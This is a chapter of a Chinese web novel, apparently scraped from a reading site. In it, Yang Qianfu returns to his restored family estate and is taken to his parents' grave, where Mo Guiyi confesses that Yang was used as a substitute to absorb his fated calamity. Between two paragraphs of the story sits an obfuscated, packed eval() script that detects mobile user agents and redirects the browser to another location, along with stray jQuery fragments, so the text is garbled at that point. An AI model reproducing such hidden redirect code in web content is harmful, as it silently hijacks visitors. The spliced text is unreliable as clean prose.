两扇门被彻底推开,一个中年人走上前替莫归一牵马,又把缰绳递给门房:“机灵点,还不快给东家问好。”
门房这才反应过来,这就是自己素未谋面的东家。视线在莫归一与杨千福间来回看了一圈,他却不能确定这两人哪个才是自己的东家。
这时莫归一已经扶着杨千福下了马,把他领到那中年人面前道:“李叔,我说过我不是你们东家,他才是。”
李叔糊涂的挠了挠头,恍然大悟的一拍手:“这就是您之前说过的那位杨公子吧?”
莫归一点点头,又对那位牵马的门房道:“麻烦了。以后这位是宅子的家主,你们都认一下人。”
杨千福一头雾水的看着莫归一,完全不明白这是什么情况。
这两个人他完全没见过,原本杨家的下人都已经不在人世,这些人应该是莫归一后来聘请的。
莫归一又对杨千福介绍道:“李叔是杨宅现在的管事,以后有什么事都可以找他办。”
“老爷?”李叔小心翼翼的看向杨千福。
杨千福差点喷出一口老血,他年纪轻轻怎么能把他叫得这么老!
“你,你还是叫我……”杨千福忽然一愣,以前他爹才是杨老爷。
一想到爹娘,杨千福不由得沉默起来。
李管事以为自己说错了话,立刻改口道:“欸,那就还是叫东家,东家好!”
杨千福勉强的笑了笑,莫归一看出他情绪不对,便对着李叔道:“先吩咐下去打理一下房间吧。”
不需要莫归一带路,杨千福下意识的就朝着前方走去,莫归一安静的跟在他身侧。
杨宅上下被打理的井井有条,完全不见昔日荒废的模样。甚至每一处陈设都与杨千福记忆中如出一辙。
最后,杨千福走到了湖心亭的之中,这是他曾经殒命之地。
看着水面上波光粼粼的一轮圆月,杨千福忽然意识到离魄的毒性完全没有残留在重生后的躯体中。
一切都过去了,他应该朝前看才是。
杨千福往连廊边上的靠椅上一坐,拍了拍身边示意莫归一也坐下。
“养这么大的庄子,你不会把这些年赚的钱全投进来了吧?”杨千福带着笑意调侃。
莫归一苦笑道:“幸好你回来了。”
“我想听你讲讲,你还做了多少我不知道的事?”
“我……当年之后杨家后继无人,家业被官府拍卖,等我攒够了钱后才把杨家产业保了下来。你的家人已经好生安葬了,我为他们做了法事,看着他们顺利前去往生。”
桩桩件件,莫归一无法记得那样清楚,只好挑了些能概括的事讲。
他叙述的平淡,杨千福听不出情绪起伏,但也能明白当时情况的不易。
微风轻抚过脸庞,杨千福扬起笑颜:“谢谢你做了这些。”
他将手心覆上莫归一的手背,可对方却像被灼烧到了一般慌乱抽回手。
“不要谢我,我只是在赎罪。”
莫归一起身:“今日太晚了,明天早上我带你去个地方,到时候我会讲清楚一切。”
还没能多说几句,莫归一就沿着来时的路走了。
杨千福目送他走向连廊的尽头,不论如何明天他就能知道这赎罪是什么意思了。
这一夜杨千福久违的躺在自己的床上,却始终辗转反侧。
翌日一早,晨光熹微时门口就传来了敲门声。
两个陌生的小厮端着毛巾水盆进门,正要服侍杨千福起身时,却看见这个新来的东家已经穿戴整齐。
杨千福顺手接过毛巾对他们道:“我自己来就好,你们忙去吧。”
他出门在外这些年已经习惯了自己做这些事。
小厮见新东家是个好相与的,不禁松了口气。即将退下前,有个小厮多问了一嘴:“东家刚刚回来,要我们带着转转路熟悉一下宅子吗?”
“不必了,这里我比你们熟悉多了。”杨千福摇摇头。
知道自己多嘴了,小厮连忙告退。
杨千福收拾好后推开门,看见莫归一正靠着他门口站着,脚边放着个竹编背篓。
里头装了很多东西,有香烛纸钱,还有一把短镰刀。见他出门,莫归一边背起背篓往外走去。
路上碰见匆匆赶来的李叔,看见他们后李叔一擦脑门上的汗:“可算找到两位东家了,早点都已经做好了,要不先吃了再出门?”
莫归一询问的看了一眼杨千福,杨千福连连摇头:“我还不饿,你要吃点吗?”
不提他现在已经无需进食,比起早餐杨千福更在乎莫归一现在要带他去哪。
莫归一道:“等我们回来再说吧。”
说着两个人就朝大门扬长而去,李叔在他们身后悄悄抹了一把眼泪。东家好不容易回来一趟却饿着肚子出门,果然是是他不中用了。
不过等东家回来的时候看见他准备的大礼,一定会十分感动的。
门口备着辆马车,上车后过了不久两人又在山路边上下了车。此处在郊外,四周碧叶连天,全然没有一点人烟。
地上的土壤潮湿,散发出青草独特的香气,或许不久前刚刚下过一场雨。
他们坐马车的时间不长,此处应该还在临安地界内,但杨千福不知道这是来了哪座山头。看莫归一从背篓中拿出镰刀准备开路,他这才反应过来莫归一是要带他干什么。
“你不会是……要带我去见我爹娘吧?”
莫归一已经在清理山路间的杂草,听见杨千福的声音他动作一顿,沉默的点了点头。
一路往山上行去,越是靠近山顶杨千福就越发紧张,等到了坟前时他的眼中已经变得一片模糊。
这是个不算太大的土丘,前面立着的石碑上写着他父母的名字,碑前地上燃尽的线香一簇簇地挨在一起,有新有旧。
莫归一给杨家夫妇选的埋骨地坐山伴水,在山间远眺,能遥遥望见杨家庄。
两位生前就十分恩爱,死后也合葬一墓。除去石碑周围的杂草,莫归一熟练的点烛上香。
杨千福本来以为自己不会再伤心,可真正站在爹娘坟前,他的泪水却抑制不住的往下流。
“你说我现在对他们讲话,他们还听得见吗?”
莫归一犹豫片刻,还是讲出实情:“他们已经往生,或许在梦中会有感知。”
“就算这样,我还是想说。”杨千福跪在刻着爹娘名字的石碑前,向下一拜。
“爹娘,都怪孩儿不孝,给家里引来灾祸……”
莫归一忽然也在他身旁跪下,对着石碑磕了三个响头。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497555|202570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“与他无关!是我害死了你们。”
此言一出,杨千福一时间都忘了抽噎,他跪在地上直着背,死死的盯着莫归一。
莫归一仍旧双膝跪地,但也直起身迎上了杨千福的视线。
“洛延山之人测算卜卦,难逃五弊三缺。仇荣本是我应对的劫难,但当年师父为了让我逃过一劫才找到你,让你替我换命挡灾。”
“你长命锁中藏着我的血,你我同年同月同日同时生八字契合,这就是证据。”
一口气讲出这些,莫归一感觉身上一轻。终于说出口了,七年来的煎熬仍然压在心头,可他不再觉得这是自己的负担。
杨千福僵在原地,他一时之间无法理解自己听见的东西。消化了一会后他摸了摸自己空荡荡颈前。
当年他身死时长命锁就已经不在他身边,如今复活后更是死无对证。
碑前烛火被风吹的狠狠一晃,炸响一声唤回了杨千福的思绪。
他深吸一口气,缓缓开口:“……这就是你瞒着我这么多天的事?”
莫归一点了点头看向杨千福,在对方眉梢上察觉了一丝压抑的怒意。一切正如他在脑海中演练了千万遍那样,不论杨千福要如何处置他他都接受。
“之前你对此事毫不知情?”
“在秘境崩溃之时我才意识到此事,但为时已晚。之后我回洛延与师父当面对质,他承认了,我也因此叛出师门。”
“你觉得,都是你的错?”
“我确实因此受益免于一难。斯人已逝,我再如何赎罪也无法弥补,就算你要取我性命,我也绝无怨言。”
“我为什么要你的命?”
“你,和你的家人都是因我而死……”
听到此时,杨千福终于不再冷静。
他抑制着怒意,扯过莫归一的衣领:“你清醒一点好不好?这事怪仇荣怪师父也怪不到你头上!”
莫归一艰难的看向杨千福:“你为什么不恨我?”
“你很希望我恨你吗?”杨千福抹去泪水,狠狠推开莫归一:“我告诉你莫归一,你不欠我的。”
说完这句话后,杨千福站起身,慌不择路的转身而去。他不知道该去哪里,但此时他无法继续呆在莫归一身边。
莫归一仍然在杨家夫妇的坟前长跪不起。
杨千福顺着下山的路走去,不久就看见了马车。
他上车后坐在车中久久不能平复,这件事对他的冲击力无疑可怕,理智上他很清楚这不是莫归一的错。
可是他心里就是很难受。闷闷胀胀的,好像有什么东西快碎掉了一样。
或许应了他的心情,此时天上忽然降下来点点滴滴雨水。
小雨很快演变成了倾盆大雨,前面牵着马的车夫掀开帘子朝里问道:“东家,咱们还要等下去吗?一会雨下大了山上泥泞多,不好跑马。”
杨千福看莫归一许久没有下山,心中也着急起来。情急之下,他拿了备在车上的伞下了车,沿着山路往上爬去。
“东家?这会上山太危险了,一会莫先生会下来的!”身后的车夫来不及拦住他,高声喊道。
杨千福已经没入了雨中,他连人都不是了还怕这点雨。
但他要是不回去,恐怕莫归一那个呆子会一直跪在坟前不起来。